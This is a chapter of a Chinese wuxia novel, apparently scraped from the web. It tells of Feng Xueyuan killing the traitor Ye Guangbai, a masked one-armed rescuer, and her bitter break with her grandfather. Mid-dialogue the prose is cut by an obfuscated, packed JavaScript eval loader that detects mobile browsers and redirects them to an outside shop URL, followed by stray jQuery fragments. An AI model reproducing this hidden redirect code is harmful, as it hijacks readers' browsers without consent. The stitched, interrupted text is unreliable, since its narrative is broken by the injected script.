暗门缓缓转动，从里面飞出一个蒙面的侠客。


    那侠客左手用剑，三两下就解了萧风笙和风雪鸢之困。风雪鸢惊魂未定，尚在懵懂之中，那独臂侠客已连砍数十人，招招死手，近了叶广白的身。


    叶广白虽四肢健全又在壮年，可也不是叶玄明跟曲萧和的对手，节节败退，在残余部众的掩护下退出了常春堂。


    叶广白掏出一个小瓶，扬起一片白烟，想要借烟雾逃走，可从烟雾中突然飞出一支箭，扎中了叶广白的胸膛。


    “少主！”


    叶广白踉跄了几步，猛地向后轰然倒地。


    叶玄明和曲萧和回头看去，风雪鸢还保持着射箭的姿势，浑身紧绷，眼睛死死地盯着门外。


    萧风笙轻轻按下她的胳膊，“鸢儿表姐？”


    风雪鸢这才颤抖着放下弓箭。


    门外烟雾散去，叶广白躺在地上，口吐鲜血，尚有一丝气息，挣扎着想要坐起来。四五个人围着他，可也无法将他扶起来。


    看到风雪鸢等人走了出来，他突然笑了起来，大股的鲜血涌出。


    “风雪鸢……没想到我最终，是死在你的手下。你不愧是顺帝的种，心果然够狠！我真后悔没趁你小的时候就把你弄死！”


    风雪鸢缓缓走上前，“我是母妃和父皇的孩子，这些年，你表面上对我好，心里怕是恨死我了吧。”


    “没错，你活在这个世上，对我来说就是耻辱！你的存在，时时刻刻提醒着我，南星她变了心！她跟别的男人有了孩子！”


    “你不配提我母妃！你做了这么多恶事，等到了九泉之下，她和柏仁舅舅也不会放过你的！”


    叶广白抽搐起来，声音嘶哑哽咽：“南星她不会的！她…她不会怪我的。”他的眼神突然一冷，“你是她拼死生下来的女儿，这么多年她一定很想你，我便送你一程，让你们母女团聚！”


    说着，叶广白使尽浑身力气，抬手从袖口里甩出一支飞镖。


    距离太近，风雪鸢来不及躲闪，眼瞅着那飞镖直冲而来。


    这时，一片高大阴影瞬间遮了过来，将她护入怀中。那人蒙着脸庞，眼神沧桑而又温柔，身子瘦削，衣衫上有股浓烈的草药味。


    抱住风雪鸢的一瞬间，曲萧和感觉到右后肩一阵剧痛。可风雪鸢的脸近在眼前，他把下巴微微抵在她的肩头，怀里的身躯娇小而柔软，足以抵抗一切痛楚。


    叶广白断断续续地说：“风雪鸢，你跟我一样，永远…别想得到……心爱之——”话音未落，叶玄明夺过萧风笙手里的剑，一剑封了叶广白的喉。


    这场父子反目成仇的悲剧，最终还是他亲自了结了。


    剩余的四五个反贼想要丢下叶广白的尸体逃跑，被赶来的柳华和杜掌柜等人拦住，全部消灭掉了。


    风雪鸢被那蒙面侠客环抱着，她的手摸到了他背后插着的飞镖，“多谢义士救命之恩，你…受伤了……”


    曲萧和没有说话。


    风雪鸢伸手去扯面罩，她从来不知这山上的密室中，还住着这样一号人。


    面罩一点点往下滑落，那侠客的模样即将露出，可他却猛然松开风雪鸢，后退一步，用左手系紧面罩，快步冲回常春堂内。


    待风雪鸢追上去时，他已侧身进了密室。


    “阿公？那位侠客是谁啊？”


    叶玄明没回答，风雪鸢又看向萧风笙。


    萧风笙摆手道：“我不知道。”


    “他为何只有一只胳膊？也不说话？”


    萧风笙撇了撇嘴说：“他可能是个哑巴吧……”


    叶玄明闭着眼，开口道：“不过是百草堂的一个死士罢了，你不认得的人多了去了。”


    可风雪鸢却感觉没有那么简单，刚才那侠客的眼神，分明不只是一个死士那么简单。她还想再追问几句，可这时杜掌柜带着众人围上前来。


    “堂主，您没事吧？”


    叶玄明强打着精神睁开眼睛。这一晚，真相大白，尘埃落定，他已经精疲力竭。


    “谁让你们上山的？”叶玄明语气里带着不小的怒气。


    他不想让人看到父子相残。


    杜掌柜自知私自上山有违堂规，解释道：“堂主，柳华说今晚山上会有变故，我们担心您出事，所以……”


    “可有向分部舵主请示？”


    杜掌柜说：“事出紧急，未来得及向分舵禀报。”


    叶玄明冷脸说道：“立马下山，去分舵领罚。私自带人上山，你知道是什么后果。”


    “是……堂主。”


    风雪鸢解释道：“阿公，是我让柳华去找杜掌柜的，您要怪就怪我，别罚杜掌柜啊……”


    “私自上山，罪同谋逆。”叶玄明不讲一点情面，“且你是何人，与百草堂有何干系？他听信你的话，更是罪加一等。”


    杜掌柜了解叶玄明，此时多说无益，“夫人不必求情。堂主，我这就下山。”说完，杜掌柜拉着柳华，带着众人赶紧离开了常春堂。


    “阿公……你还在生鸢儿的气吗？”


    “你与我已断绝关系，我没必要生你的气。我处置我百草堂之人，也与你无关。”


    风雪鸢委屈道：“可是我们若不来，就您与那个独臂，能有几分的把握胜过叶广白？您若出了事，我在这世上就真的没有一个亲人了……”


    “我说了，你我已断绝关系。若不是因为你，事情会到今天这一步吗？”


    豆大的泪珠从风雪鸢眼里流下，她扑过去跪在叶玄明脚边，求道：“阿公，我知道是我先前受了叶广白的蒙骗，逼走了林伯，鸢儿知道错了，您不要不认鸢儿啊……”


    叶玄明无动于衷。


    “阿公，如今真相大白，您能让林伯回来吗？”


    叶玄明背着双手，“这也与你无关。”


    “好，就算您不在乎我，那您也不在乎整个百草堂了吗”


    “百草堂的事不需要你操心！就算今日我死了，也会有新的堂主代替我接管所有的事。”


    “新的堂主？”风雪鸢一愣，“难道是……刚才那个独臂？他究竟是谁？为何您要将百草堂交给一个外人？”


    “你要搞清楚，现在你才是外人。”


    风雪鸢仰着头，不可思议地看着叶玄明，“阿公，究竟谁与您有血缘关系？您怎么总是对别人的孩子更好！当年您对叶广白是这样，现在对那个独臂也是这样——”


    “啪——”


    叶玄明一个巴掌落在风雪鸢脸上，将她打出去一步开外。


    萧风笙扶起风雪鸢，劝和道：“堂主，表姐，你…你们别吵啊……有什么事不能


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16865044|142952||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好好说吗？”


    “萧风笙，送她下山。”


    叶玄明转身进了常春堂，“哐”地关上了门。


    萧风笙小心翼翼地说：“表姐？堂主在气头上，要不咱们先走吧……”


    风雪鸢冷眼说道：“阿公对你，倒是比对我亲。”


    “你别这样说……”萧风笙也不知道该如何安慰风雪鸢，这山上，除了他，每个人都犟得很。


    “走就走！”风雪鸢盯着紧闭的房门，抬高了声音，“我早该明白的，江湖人人称颂的活菩萨，在乎的只有自己的名声罢了。做这种人的家人，尚不如做一乡村野夫的家人！当年若不是他与母妃断绝关系，怎会让叶广白钻了空子，真论起来，也不能全怪叶广白！日后百草堂是兴是亡，都与我再没有关系！萧风笙，送我下山！”


    常春堂内，叶玄明一手撑着桌案，一手捂着胸口。风雪鸢的话句句带刺，插进他的心头。


    曲萧和已处理好伤口，穿着素衣从密室出来，将手里的一颗药丸喂与叶玄明服下。随后，他搭上叶玄明的脉。


    “堂主……您的脉象太乱了……”


    叶玄明拂开曲萧和的手，“我自己的身子自己有数。”


    “您何苦这样？”


    叶玄明笑了，反问道：“那你又何苦这样？”


    曲萧和没有再问，只说：“鸢儿有一天，都会明白的。”


    山涧之中，一叶小船缓缓推开水波，风雪鸢默默地坐在船头。


    萧风笙在船尾撑着桨，亦一路无言。


    快要行出白瘴时，风雪鸢突然开口问：“萧风笙，你说真相到底重不重要？我一心要查清母妃之死的真正原因，是不是错了……”


    “怎会，真相自然重要。难道你要叶妃娘娘就那样不明不白地葬身火海，让叶广白的恶行就那样掩埋于世吗？你是叶妃娘娘的女儿，你自然该知道真相。”


    “那你告诉我，那个独臂侠客，究竟是谁？”


    萧风笙顿时语噎：“我…我不是说了我不知道吗……”


    “你日日生活在山上，阿公对你，比对叶广白还要放心，你不可能不知道。”


    “我……”


    “你都说了，我是母妃的女儿，有权知道真相。那不管阿公如何，我也都是他的外孙女，为什么这件事非要瞒着我呢？”


    萧风笙改口说：“其实……真相也没那么重要，就像叶妃娘娘的事，追根究底只会伤害更多的人。”


    “那如果你可以选择，你会选择一辈子不知道自己的身世吗？”


    “我……”萧风笙被问得说不出话来。若是他能选择，他依然会选择知道自己的身世，即便这身世带给他的只有无尽的痛苦和烦忧。


    可是那独臂侠客背后的真相，他却没有办法告诉风雪鸢。


    “你就别问了鸢儿表姐，你只要相信堂主，总有一天，你会知道的。”


    “总有一天，”风雪鸢自嘲道，“若那一天来得太迟，又有何意义？萧风笙，将心比心，若是有人打着为你好的旗号不告诉你林安姑母的消息，你还能这样心平气和吗？”


    萧风笙低下了头，没再说话。


    直到小船靠岸，萧风笙从怀里掏出一袋晒干的草药，递给风雪鸢。


    “其他的事我做不了主，但这个我能做主。”